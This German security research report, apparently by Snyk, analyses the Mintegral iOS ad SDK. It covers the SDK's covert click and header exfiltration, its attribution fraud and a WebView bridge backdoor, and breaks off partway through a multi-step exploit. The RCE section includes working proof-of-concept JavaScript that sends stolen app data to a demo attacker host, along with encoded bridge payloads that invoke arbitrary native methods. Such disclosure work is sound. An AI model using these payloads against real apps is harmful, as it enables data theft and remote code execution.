Skip to main content

SourMint: Bericht zur Untersuchung des schädlichen SDKs

Artikel von
Headshot of Kirill Efimov

Kirill Efimov

feature research

16. Oktober 2020

0 Min. Lesezeit

Überblick

Übermäßige Datenerfassung unter iOS [August 2020]

Remote Code Execution (RCE) unter iOS [Oktober 2020]

Download-Tracking unter Android [Oktober 2020]

Zeitleiste

Überblick

Das Mintegral SDK ist ein beliebtes Werbe-SDK für mobile Apps, das für iOS und Android verfügbar ist. Tausende mobile Apps mit insgesamt über einer Milliarde Downloads pro Monat verwenden es. App-Entwickler nutzen das SDK, um ihre Apps mit Anzeigen von Drittanbietern zu monetarisieren.

Das Snyk-Sicherheitsforschungsteam hat zwei bedeutende Erkenntnisse zum Mintegral SDK veröffentlicht. Die erste Erkenntnis wurde im August 2020 veröffentlicht. Dabei wurden übermäßige Datenerfassung und Click-Hijacking in der iOS-Version des SDK entdeckt. Die zweite Erkenntnis betraf eine in der iOS-Version des SDK gefundene Hintertür, die Remote Code Execution ermöglicht, sowie neue Erkenntnisse zur Android-Version des SDK.

Dieser Artikel soll die technischen Details unserer Untersuchungen und Erkenntnisse vermitteln, die über die Blogbeiträge hinausgehen.

Dieser Bericht ist in drei Abschnitte unterteilt:

  • Übermäßige Datenerfassung: Dieser Abschnitt beschreibt die URL- und Request-Tracking-Funktionen der iOS-Version des Mintegral SDK, einschließlich des Abfangens und Protokollierens sämtlicher HTTP-Requests im iOS-SDK. Er wurde ursprünglich am 24. August 2020 veröffentlicht.

  • Eine Hintertür in der iOS-Version des SDK ermöglicht Remote Code Execution: Dieser Abschnitt beschreibt die Remote-Code-Execution-Funktionen von MintegralAdSDK, veröffentlicht am 15. Oktober 2020.

  • URL-Tracking von Downloads unter Android: Dieser Abschnitt beschreibt verschiedene Erkenntnisse zur Android-Version des Mintegral SDK.

Übermäßige Datenerfassung unter iOS [August 2020]

Überblick

Dieser Teil der Untersuchung wurde anhand der Binärversion des Mintegral iOS SDK durchgeführt, da uns die Open-Source-Version im August 2020 noch nicht zur Verfügung stand. Untersucht wurde Version 6.3.5.0 des SDK (für x86-Architektur), die auf GitHub zum Download bereitsteht.

Wir haben festgestellt, dass die Mintegral-iOS-SDK-Versionen 5.5.1 und höher schädliche Funktionen enthalten, die zum Abfluss von Informationen führen. Vereinfacht gesagt, spioniert das SDK Klicks auf Links sowie Netzwerkaktivitäten innerhalb der betroffenen Apps aus. Die Spionage findet auch dann statt, wenn das SDK vom Entwickler oder der Anzeigenvermittlungsplattform nicht aktiviert wurde. Das SDK versucht, sein schädliches Verhalten zu verbergen, indem es Proxys, Simulatoren und Geräte mit Jailbreak erkennt.

Method Swizzling

Das Mintegral SDK verwendet eine Technik namens Method Swizzling, um die Implementierungen der Methoden UIApplication openURL und SKStoreProductViewController loadProductWithParameters zur Laufzeit zu ersetzen. Außerdem registriert es eine benutzerdefinierte Klasse NSURLProtocol.

Diese Hooks spionieren App-Nutzer aus, indem sie sämtliche Informationen zu HTTP-Requests, geöffneten URLs und App-Store-Links, auf die Nutzer innerhalb der App klicken, übermitteln.

HTTP-Request-Header und URLs können sensible Daten enthalten. Zusammen mit der IDFA (Identifier for Advertisers) ermöglichen diese Daten Mintegral jedoch, Werbe-Attributionsbetrug zu begehen.

Werbe-Attributionsbetrug

Um ihre Anwendungen zu monetarisieren, installieren Entwickler häufig Werbeplattformen. Werbeplattformen erhalten von Werbetreibenden Einnahmen für jede Installation, die nach einem Klick des Nutzers auf ihre Anzeige erfolgt. Nicht selten verwenden Entwickler mehrere Werbeplattformen in ihren Apps. Um festzustellen, welcher Werbeplattform die Installation zugeordnet werden soll, wird jeder Klick bei einem Attributionsanbieter registriert, einer Mobile Measurement Platform (MMP).

Die folgende Abbildung zeigt, wie die schädliche Funktion von Mintegral arbeitet. In diesem Beispiel klickt der Nutzer auf eine Anzeige von „Another Platform“. Da Mintegral jedoch alle von der App geöffneten URLs abfangen kann, kann es zusätzliche Requests an einen Attributionsanbieter senden und vorgeben, der Klick sei auf eine eigene Anzeige erfolgt. Der gesamte Ablauf sieht so aus:

  1. Der Nutzer klickt auf einen Link in einer In-App-Anzeige eines nicht zu Mintegral gehörenden Werbenetzwerks, um eine neue App aus dem App Store zu installieren.

  2. Das SDK des Werbenetzwerks sendet die Klickinformationen an dessen Backend-Plattform.

  3. Nachdem Mintegral das Klickereignis mithilfe von in iOS-Ereignishandler eingeschleustem Code über Method Swizzling abgefangen hat, protokolliert es die Klickdaten auf seinem Server.

  4. Das Werbenetzwerk registriert beim Attributionsanbieter eine Klickbenachrichtigung.

  5. Mintegral registriert beim Attributionsanbieter ebenfalls eine Klickbenachrichtigung.

Wenn der Attributionsanbieter versucht, das Installationsereignis den registrierten Klickbenachrichtigungen zuzuordnen, findet er zwei passende Benachrichtigungen. Bei einem Last-Touch-Attributionsmodell wird die Klickbenachrichtigung von Mintegral zugeordnet und die Benachrichtigung des anderen Werbenetzwerks abgelehnt.

Diagramm des Tracking-Ablaufs einer mobilen App zwischen dem App Store, einem Attributionsanbieter, einer weiteren Plattform und Mintegral mit nummerierten Pfeilen von 1 bis 5.

Snyk hat mit einem großen Attributionsanbieter zusammengearbeitet, um zu bestätigen, dass Mintegral die Klickdaten verwendet, um gefälschte Klickbenachrichtigungen zu generieren. Im Rahmen seiner Untersuchung konnte der Anbieter nachweisen, dass solche gefälschten Benachrichtigungen erzeugt wurden und dazu führten, dass Anzeigenklicks fälschlich Mintegral zugeschrieben wurden.

Demo-App

Um den Angriff zu demonstrieren, haben wir eine Demo-App eingerichtet. Sie zeigt den schädlichen openURL-Hook in Aktion. Mithilfe eines Debugging-Proxys fangen wir den gesamten Netzwerkverkehr ab.

 Zur Initialisierung der App verwenden wir den folgenden Codeausschnitt aus der Mintegral-Dokumentation:

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

Nachdem das SDK initialisiert ist, öffnen wir example.com in der App, indem wir auf eine Schaltfläche klicken:

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

Nach dem Start der App sehen wir in unserem Proxy sofort einige Requests vom Mintegral SDK:

iPhone-App mit farbigen Schaltflächen zur Erkennung von URLs und Runtime-Hooks neben Charles Proxy, das Anfrageparameter und Abfragedaten anzeigt

Einstellungen

Die Antwort von _https://setting.rayjump.com/setting ist ein JSON-Objekt mit vielen verschiedenen Optionen. Die folgende Tabelle beschreibt die für unsere Untersuchung interessantesten Felder.

JSON-Feld

Beschreibung

csw

Aktiviert oder deaktiviert die Anti-Debugging-Funktion.

cou

Aktiviert oder deaktiviert den openURL-Methoden-Hook.

cdai

URL, an die die abgeflossenen Informationen gesendet werden (*).

cspn

Aktiviert oder deaktiviert den Hook für StoreKit-Methoden.

cud

Aktiviert oder deaktiviert den Hook für NSURLProtocol.

cudl

Array mit URLs, die über NSURLProtocol nachverfolgt werden (**).

* In unserem Fall lautete der Wert LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=. Nach dem Dekodieren ergibt sich https://n.systemlog.me/log.

** In unserem Fall lautete der Wert kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==. Nach dem Dekodieren ergibt sich ["itunes.apple.com","apps.apple.com"].

Dekodierung der Nutzdaten

Nachdem wir auf die Schaltfläche geklickt haben, über die example.com geöffnet wird, sehen wir zwei weitere Requests. Beim ersten handelt es sich erwartungsgemäß um einen GET-Request an http://example.com. Der zweite ist ein POST-Request an https://n.systemlog.me/log.

iPhone-App mit Optionen zur Hook-Erkennung neben Charles Proxy, das eine POST-Anfrage mit einer langen codierten Nutzlast anzeigt

Der Request-Body sieht base64-kodiert aus. Tatsächlich handelt es sich jedoch nicht um eine base64-kodierte Zeichenfolge. Das Mintegral SDK implementiert eine eigene Kodierungs- und Dekodierungslogik, die sich in +[MTGBase base64DecodeString:] und +[MTGBase base64CleverDecodeString:] findet. Beachten Sie, dass MTGBase nicht in den öffentlichen Headern des SDK offengelegt ist und für Entwickler nicht zugänglich sein soll.

Mit dem folgenden Codeausschnitt dekodieren wir die Nutzdaten:

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
Terminal-Screenshot mit einem dekodierten Payload, der Gerätemetadaten und Codeausschnitte einer iOS-Anwendung zeigt

Die Nutzdaten enthalten zahlreiche Informationen, darunter IDFA, IDFV, Betriebssystemversion und User-Agent. Außerdem gibt es ein Feld namens „clever“, das ebenfalls kodiert ist. Wir können es mit base64DecodeString dekodieren:

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Wie Sie sehen, enthält es die URL, den Stack-Trace und einige zusätzliche Informationen, etwa den Controller- und Methodennamen.

Ein genauerer Blick

Wie bereits erwähnt, ist das Mintegral SDK Closed Source. Wir untersuchen Version 6.3.5.0 für die x86-Architektur.

Bei der Binärdatei handelt es sich um eine Mach-O-Datei, die mehrere weitere Binärdateien enthält. Der für uns relevante Code befindet sich in _CXX_CXX_OperationPKTask.o.

Bei der Untersuchung der Klasse sehen wir +[_CXX_CXX_OperationPKTask load], das automatisch ausgeführt wird, sobald die Klasse zur Laufzeit hinzugefügt wird. Wird das SDK also über CocoaPods installiert, wird die schädliche Logik unabhängig davon initialisiert, ob Entwickler das SDK tatsächlich verwenden.

Die Methode load führt eine Reihe von Aufrufen aus, die zu ___cxxwebk_init_vw führen. Diese Methode prüft, ob das Anti-Debugging-Schutzflag aktiviert ist, und initialisiert die Hooks, wenn das Flag auf „false“ gesetzt oder das Debugging deaktiviert ist.

Kommentierter disassemblierter Code mit einem Aufruf des CSW-Anti-Debugging-Schutzes, C0U und Verweisen auf cspn.

Die Initialisierung der Hooks hängt von der oben erwähnten Einstellungsabfrage ab. Die folgende Tabelle zeigt die Beziehungen zwischen den JSON-Antwortfeldern und der Klasse MTGSetting:

JSON-Feld

Eigenschaft von MTGSetting

Beschreibung

csw

cSrtW

Aktiviert oder deaktiviert die Anti-Debugging-Funktion.

cou

cOpenURL

Aktiviert oder deaktiviert den openURL-Methoden-Hook.

cspn

cPackageName

Aktiviert oder deaktiviert den Hook für StoreKit-Methoden.

Anti-Debugging-Logik

Dunkler Code-Screenshot mit roten Markierungen auf „/Applications/Cydia.app“ und „/Library/MobileSubstrate/MobileSubstrate.dylib“.

Die Funktion __cxx_cxx_op_isInSuperViewFrame gibt in den folgenden Fällen true zurück:

  • Die Geräteplattform ist ein „Simulator“.

  • Ein Debugger ist angehängt (implementiert in ____mvpmvvm_isDebuggerAttached_block_invoke).

  • Eine der folgenden Dateien befindet sich auf dem Gerät (Hinweis auf einen Jailbreak):

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • Ein Proxy ist aktiviert (ermittelt mithilfe von CFNetworkCopySystemProxySettings).

Method Swizzling für openURL

Die Logik im folgenden Screenshot ist in der Methode ___cxxwebkmcouitninapo implementiert. Sie wird von ___cxxwebk_init_vw aufgerufen, wenn das entsprechende Flag aktiviert ist.

Dunkler Code-Editor mit Objective-C-Quellcode für die Implementierung einer NSURL-openURL-Methode.

„blog-sour-mint-openurl-method-swirl“ – Der obige Screenshot zeigt die Method-Swizzling-Implementierung. Sie führt die folgenden Aufrufe aus:

  1. NSSelectorFromString, um einen Selector für die Methode „openURL:“ abzurufen.

  2. NSClassFromString, um einen Klassen-Deskriptor für UIApplication abzurufen.

  3. class_getInstanceMethod, um den Methoden-Deskriptor abzurufen.

  4. method_getImplementation, um die tatsächliche Implementierung der Methode abzurufen.

  5. Anschließend definieren sie einen Codeblock, der _____cxxwebkmcouitninapo_block_invoke_2 und danach das ursprüngliche openURL aufruft.

  6. method_setImplementation, um die ursprüngliche openURL-Implementierung durch den Codeblock aus dem vorherigen Schritt zu ersetzen.

Bei der Methode openURL:options:completionHandler: geschieht fast dasselbe. Zuvor wird jedoch die Systemversion geprüft (der Handler wurde erstmals mit iOS 10 eingeführt).

Nun haben wir gesehen, wie der Hook angewendet wird. Als Nächstes sehen wir uns die Implementierung des Hooks selbst an (_____cxxwebkmcouitninapo_block_invoke_2).

Implementierung des openURL-Hooks

Die Implementierung befindet sich in der Methode ___cxxwebkmcoulsz. Dort sehen wir eine weitere Anti-Debugging-Prüfung. Anschließend wird das Flag __mc_notifyInHouse geprüft. Ist es auf 1 gesetzt, wird nichts unternommen.

Damit werden alle Marketing-URLs ignoriert, auf die Nutzer in einer von Mintegral ausgelieferten Anzeige klicken. Der entsprechende Code ist im folgenden Screenshot in +[MTGBase mtgOpenURL:options:completionHandler:] zu sehen:

Dunkler Code-Editor mit der Implementierung einer Objective-C-Methode für MTGBase, einschließlich Aufrufen für Gerät, Systemversion, Arbeitsspeicher und Anwendungsbenachrichtigungen.

Der nächste Codeabschnitt zeigt, dass auch die Backtrace-Daten serialisiert und in den Nutzdaten an https://n.systemlog.me/log übertragen werden.

Wir können am Aufruf +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:] einen Breakpoint setzen. Die Aufrufargumente sehen Sie im nächsten Screenshot:

Debugger mit Assembly-Code und einem Aufrufstapel für eine ViewController-openURLWithOptions-Methode in einer iOS-App
  • Die geöffnete URL (http://example.com?foo=bar&x=y).

  • Die Klasse, in der der Klick stattfand (ViewController).

  • Die Methode, in der der Klick erfolgt ist (openURLWithOptions:).

  • Backtrace-Informationen.

Eine weitere interessante Funktion ist _nsh_id_by_cc. Sie scheint dafür zuständig zu sein, konkurrierende SDKs zu identifizieren. Die relevante Logik ist im nächsten Screenshot zu sehen:

Dunkler Code-Editor mit dekompiliertem Objective-C-Code und Verweisen auf GADCategories und werbebezogene Dienste

Zurück zu +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]: Nachdem die Payload mit +[MTGBase base64EncodeString:] codiert wurde, erstellt die Methode einen neuen Codeblock und verwendet _dispatch_async, um ihn aufzurufen.

Darauf folgt eine Reihe von Aufrufen mit weiteren Payload-Transformationen. Am Ende steht -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], das eine POST-Anfrage an collectDomainUrl aus MTGSetting sendet. Standardmäßig lautet die URL https://n.systemlog.me/log.

Ein Video, das zeigt, wie eine private URL offengelegt werden kann.

A demonstration of the SourMint Malicious SDK from Mintegral

SKStoreProductViewController-Hook

SKStoreProductViewController ist ein View-Controller, der eine Seite bereitstellt, auf der Nutzer Medien im App Store kaufen können.

Die Methode loadProductWithParameters:completionBlock: lädt einen neuen Produktbildschirm zur Anzeige.

Statt die technischen Details der Hook-Implementierung zu erläutern, haben wir den folgenden Codeausschnitt zur Demo-Anwendung hinzugefügt:

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];

Als Ergebnis sehen wir eine POST-Anfrage an https://n.systemlog.me/log mit der folgenden Payload im Feld „clever“:

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}] 

Wie zu sehen ist, befindet sich die Produkt-ID in der Anfrage. Damit ist es bewiesen.

NSURLProtocol-Hook

Die Klasse NSURLProtocol ermöglicht Entwicklern, die Funktionsweise von Apples URL-Ladesystem neu zu definieren. Das Mintegral SDK registriert eine schädliche Implementierung von NSURLProtocol, die sich aus der Ferne so konfigurieren lässt, dass sie alle ausgehenden Anfragen einer Anwendung abfängt und URLs sowie HTTP-Header wie den Authorization-Header protokolliert.

Für Anwendungsentwickler bedeutet das, dass Mintegral möglicherweise API-Tokens, Cookies und Header für die einfache Authentifizierung erfassen kann.

Um zu verstehen, wie das SDK diesen Teil des schädlichen Codes aktiviert, müssen wir uns ___cxxwebk_init_vw noch einmal ansehen.

Dunkler Code-Screenshot mit Objective-C-Runtime-Code und roten Markierungen auf „cud“, „cudl“ und „NSURLProtocol hook init.“

Der obige Screenshot zeigt, dass das cud-Flag aktiviert und das cudl-Array nicht leer sein muss, damit der Hook aktiviert wird.

Der folgende Screenshot zeigt einen Teil der Funktion ___cxxwebkterisiuuxx, die von der oben gezeigten Methode aufgerufen wird.

Dunkler Code-Editor mit Objective-C-Runtime-Code sowie Klassen- und Selektor-Referenzen

Der Code in der Funktion ___cxxwebkterisiuuxx führt folgende Aktionen aus:

  1. Erstellt eine von NSURLProtocol abgeleitete Klasse (objc_registerClassPair, objc_allocateClassPair).

  2. Fügt eine Implementierung für canInitWithRequest: hinzu, die als Interceptor fungiert (class_addMethod).

  3. Ruft +[NSURLProtocol registerClass:] auf, um die Klasse beim URL-Ladesystem zu registrieren.

Im Rahmen unserer Untersuchung haben wir den folgenden Codeausschnitt hinzugefügt, um zu überprüfen, welche Daten der schädliche Code erfasst:

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

Als Ergebnis sehen wir eine POST-Anfrage an https://n.systemlog.me/log mit der folgenden Payload im Feld „clever“:

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

In der Anfrage sind die URL und der Authorization-Header zu sehen. Der Anfragekörper ist zwar nicht enthalten, doch Header enthalten häufig vertrauliche Daten. Dazu können sogar personenbezogene Daten gehören. Wenn eine API beispielsweise JWT-Tokens verwendet, können E-Mail-Adressen oder Benutzernamen im Token gespeichert sein.

Fazit

Während unserer Untersuchung haben wir zahlreiche interessante Techniken beobachtet, mit denen Mintegral-Entwickler das schädliche Verhalten ihres SDKs verschleiern. Wie zu sehen ist, aktivieren sie Hooks nur in bestimmten Anwendungen und Regionen. Dadurch blieb der schädliche Code über ein Jahr lang unentdeckt.

Zum zeitlichen Verlauf: Die erste Version (5.5.1) des schädlichen SDK wurde am 17. Juli 2019 veröffentlicht. Wir stellten fest, dass alle nachfolgenden Versionen dieselbe schädliche Funktionalität enthielten.

Viele beliebte Anwendungen waren von den schädlichen Aktivitäten dieses SDK betroffen. Wir hoffen, dass diese Untersuchung Licht auf die Situation wirft und künftig zu einer genaueren Prüfung von Werbenetzwerken sowie zu besseren Datenschutzkontrollen führt.

Remote Code Execution (RCE) unter iOS [Oktober 2020]

Kurzfassung

Wir haben die Klasse MTGBaseBridgeWebView entdeckt, die im gesamten SDK zur Kommunikation mit JavaScript verwendet wird. Sie fungiert als Hintertür und ermöglicht den Aufruf beliebiger Funktionen im nativen Anwendungscode.

Diagramm, das zeigt, wie ein Server private Nutzerdaten und eine schädliche Banner-Payload an eine mobile App sendet, in der nativer Code und ein Banner in Mintegrals UIWebView angezeigt werden.

Die Abbildung oben zeigt ein vereinfachtes Schema der Remote Code Execution in Aktion.

Diff-Analyse

Nach unserer ersten öffentlichen Offenlegung kündigte Mintegral die Veröffentlichung einer Open-Source-Version des SDK an.

Wir verglichen daraufhin die neue Open-Source-Version mit der zuvor als CocoaPod vertriebenen Binärversion. Obwohl uns der Quellcode der älteren Version nicht vorlag, konnten wir die Klassennamen vergleichen. Dazu extrahierten wir die .o-Dateien aus den Binärdateien und verglichen die Symbole mit den .h-Dateien der Open-Source-Version.

Wie erwartet wurde die zuvor entdeckte schädliche Komponente _CXX_CXX_OperationPKTask tatsächlich entfernt. Beim Vergleich stießen wir jedoch auf etwas anderes. Die folgenden Klassen fielen uns auf:

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

Wir beschlossen, die Binärdateien genauer zu untersuchen, um herauszufinden, wofür diese Dateien verwendet wurden.

Betroffene Versionen

Alle Versionen von MintegralAdSDK bis einschließlich 6.5.0.0. Die am 10. September 2020 veröffentlichte Version 6.6.0.0 enthält nicht die in diesem Beitrag beschriebene Hintertür-Funktionalität.

Die Bridge-Implementierung

Wir begannen damit, zu untersuchen, wo die Klasse MTGRemoteCommandParser verwendet wird, und fanden nur eine Stelle: -(void)handleNativeObject:parameters: in der Klasse MTGBaseBridgeWebView.

Anhand der Implementierung sehen wir, dass -(void)handleNativeObject:parameters: MTGRemoteCommandParser verwendet, um das Argument parameters zu analysieren, und die Methode -(void)dispatchCommand:feedback: in der Klasse MTGCommandDispatcher aufruft.

Auf den ersten Blick scheint -(void)handleNativeObject:parameters: nicht verwendet zu werden. Das ist jedoch nicht der Fall. Sehen wir uns an, wie der Aufruf aus JavaScript-Code erfolgen kann.

MTGBaseBridgeWebView implementiert die Methode -(void)webView:decidePolicyForNavigationAction:decisionHandler: des Protokolls WKNavigationDelegate. Diese Methode wird bei jeder Navigation in der Web-View aufgerufen. Das bedeutet, dass wir sie direkt aus JavaScript auslösen können, indem wir einfach location.href=something aufrufen. In der Open-Source-Version des SDK fanden wir einen regulären Ausdruck, der Navigationsanfrage-URLs analysiert: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

Dunkler Code-Editor mit Objective-C-Code, der eine mV-URL mithilfe eines regulären Ausdrucks analysiert und Funktionsname, ID und Parameter extrahiert.

-(void)callFunctionWithName:fucId:param: führt im obigen Screenshot einfach einen Aufruf von self mit dem Selector fucName aus.

Um also -(void)handleNativeObject:parameters: von MTGBaseBridgeWebView aufzurufen, benötigen wir die folgende JavaScript-Codezeile: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Beachten Sie, dass alles oben Beschriebene zum Zeitpunkt der Erstellung dieses Beitrags auch für die neueste SDK-Version sowie für die Open-Source-Version des SDK gilt. Die einzige Ausnahme: -(void)handleNativeObject:parameters: wurde aus den neuesten Releases entfernt.

Aufruf entfernter Methoden

Wir beschreiben nicht die vollständige Implementierung von MTGInvocationBoxing und den anderen Klassen. Stattdessen zeigen wir, wie sich schädlicher JavaScript-Code erstellen lässt, um die entfernte Methode aufzurufen.

Der folgende Proof of Concept greift eine Anwendung für „einfache Notizen“ an, die eine Klasse NoteRepository mit den beiden Methoden +(void)save: und +(NSString*)load enthält.

Wir schleusen den schädlichen JavaScript-Code ein, indem wir den Mintegral-Server durch unsere eigene Serverimplementierung ersetzen. Den vollständigen Quellcode dieser Anwendung und des Servers finden Sie hier.

Der schädliche JavaScript-Code für diese Anwendung lautet:

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Wert

Dekodiert

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

Dieser Code ruft die Methode +(NSString*)load der Klasse NoteRepository auf und sendet das Ergebnis an unseren Endpunkt demo-evil-server.com/log.

Der Code verwendet dieselben Verschleierungstechniken wie im vorherigen Abschnitt beschrieben. Der Proof of Concept enthält jedoch bereits JavaScript-Code zum Codieren und Dekodieren (siehe banner.html).

Vollständige Remote Code Execution (RCE) erlangen

Im obigen Beispiel haben wir gesehen, wie sich das SDK verwenden lässt, um beliebige statische Methoden beliebiger Klassen aufzurufen. In diesem Abschnitt zeigen wir, wie sich damit beliebiger nativer Code ausführen lässt.

Zur Veranschaulichung zeigen wir, wie sich ein UIAlertController mit der Meldung „PWNED!“ erstellen lässt.

Sehen wir uns als Referenz den folgenden Objective-C-Code an:

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Wir müssen herausfinden, wie wir eine Instanz von UIAlertController erstellen und zwischen Aufrufen beibehalten, eine gemeinsame Anwendungsinstanz abrufen und presentViewController:animated:completion: mit dieser Instanz aufrufen können.

Schritt 1: Referenz auf die Klasse UIAlertController speichern

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

Der MTGRemoteCommandParser unterstützt zwei Arten von Objektreferenzen:

  • static – ruft anhand des Namens eine Referenz auf ein Klassenobjekt ab.

  • singleton – führt mehrere Schritte aus:

    1. Ruft eine Klasse anhand ihres Namens ab (in unserem Beispiel MTGSetting).

    2. Führt die Methode sharedInstance für die Klasse aus. In Objective-C: [MTGSetting sharedInstance].

    3. Verwendet valueForKey:, um durch Punkte getrennte Eigenschaften abzurufen. In unserem Fall ist das [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Beachten Sie, dass jsonTitles lediglich eine Instanz von NSMutableDictionary ist. Im Exploit dient sie als temporärer Speicher für unsere Referenzen. Der MTGRemoteCommandParser unterstützt die folgenden Parametertypen:

  • 0 – Zahl.

  • 1 – Referenz.

  • 2 – Zeichenfolge.

  • 4 – nil.

Mit dem Referenztyp (1) können wir eine Objektreferenz als Argument einer Methode übergeben. Wichtig ist, dass uniqueIdentifier genau wie ein uniqueIdentifier der obersten Ebene analysiert wird – daher wird auch der Typ singleton unterstützt.

Schritt 2: Neue Instanz der Klasse UIAlertController erstellen

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

In diesem Fall steckt die ganze Magie in singleton_MTGSetting.jsonTitles.a.alloc.init. Wie wir bereits wissen, liefert singleton_MTGSetting.jsonTitles.a eine Referenz auf die Klasse UIAlertController. Wir müssen jedoch noch herausfinden, warum [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"] funktioniert. In der Dokumentation zu valueForKey: erfahren wir:

Das Suchmuster, mit dem valueForKey: den zurückzugebenden Wert findet, wird unter Accessor Search Patterns im Key-Value Coding Programming Guide beschrieben.

Wir haben herausgefunden, dass valueForKey: eine beliebige Methode anhand ihres Namens aufrufen kann, wenn sie keine Argumente erwartet.

Damit können wir nun eine neue Instanz der Klasse UIAlertController erstellen, auf die über die Eigenschaft b des Wörterbuchs jsonTitles verwiesen wird.

Schritt 3: Meldung „PWNED!“ festlegen

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

Dieser Schritt ist ziemlich offensichtlich: Wir rufen setMessage: für die Instanz von UIAlertController auf, um die Meldung PWNED! festzulegen.

Schritt 4: Referenz auf die Klasse UIApplication speichern

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
